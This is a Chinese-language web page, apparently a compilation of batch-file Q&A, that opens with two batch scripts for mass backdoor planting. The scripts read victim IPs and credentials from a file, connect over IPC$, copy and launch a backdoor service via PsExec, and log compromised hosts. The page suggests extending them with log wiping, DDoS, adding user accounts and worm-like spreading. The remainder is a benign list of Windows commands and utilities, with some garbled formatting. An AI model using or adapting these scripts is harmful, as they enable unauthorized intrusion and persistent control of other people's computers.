--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection …………OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
⑸ 批處理和腳本有什麼區別
批處理(batch)，也稱為批處理腳本。顧名思義，批處理就是對某對象進行批量的處理。批處理文件的擴展名為bat
。目前比較常見
的批處理包含兩類：dos批處理和ps批處理。ps批處理是基於強大的圖片編輯軟體photoshop的，用來批量處理圖片的腳本；而dos批處理則是基於dos命令的，用來自動地批量地執行dos命令以實現特定操作的腳本。
⑹ bat文件命令大全
有關某個命令的詳細信息，請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息，或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件，並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟，以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄，然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
appwiz.cpl------------添加刪除程序
control userpasswords2--------用戶帳戶設置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以當作是 Windows 的一個附件，Ping，Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。
cmd------jview察看Java虛擬機版本。
command.com------調用的則是系統內置的 NTVDM，一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境，和系統本身聯系不大。當我們在命令提示符下運行 DOS 程序時，實際上也 是自動轉移到 NTVDM虛擬機下，和 CMD 本身沒什麼關系。
calc-----------啟動計算器
chkdsk.exe-----Chkdsk磁碟檢查
compmgmt.msc---計算機管理
conf-----------啟動 netmeeting
control userpasswords2-----User Account 許可權設置
devmgmt.msc--- 設備管理器
diskmgmt.msc---磁碟管理實用程序
dfrg.msc-------磁碟碎片整理程序
drwtsn32------ 系統醫生
dvdplay--------啟動Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------組策略編輯器
gpupdate /target:computer /force 強制刷新組策略
eventvwr.exe-----事件查看器
explorer-------打開資源管理器
logoff---------注銷命令
lusrmgr.msc----本機用戶和組
msinfo32---------系統信息
msconfig---------系統配置實用程序
net start (servicename)----啟動該服務
net stop (servicename)-----停止該服務
notepad--------打開記事本
nusrmgr.cpl-------同control userpasswords，打開用戶帳戶控制面板
Nslookup-------IP地址偵測器
oobe/msoobe /a----檢查XP是否激活
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit----------注冊表編輯器
regedt32-------注冊表編輯器
regsvr32 /u *.dll----停止dll文件運行
route print------查看路由表
rononce -p ----15秒關機
rsop.msc-------組策略結果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動一個空白的Windows 圖片和傳真查看器
secpol.msc--------本地安全策略
services.msc---本地服務設置
sfc /scannow-----啟動系統文件檢查器
sndrec32-------錄音機
taskmgr-----任務管理器（適用於2000／xp／2003）
tsshutdn-------60秒倒計時關機命令
winchat--------XP自帶區域網聊天
winmsd---------系統信息
winver-----顯示About Windows 窗口
wupdmgr-----------Windows Update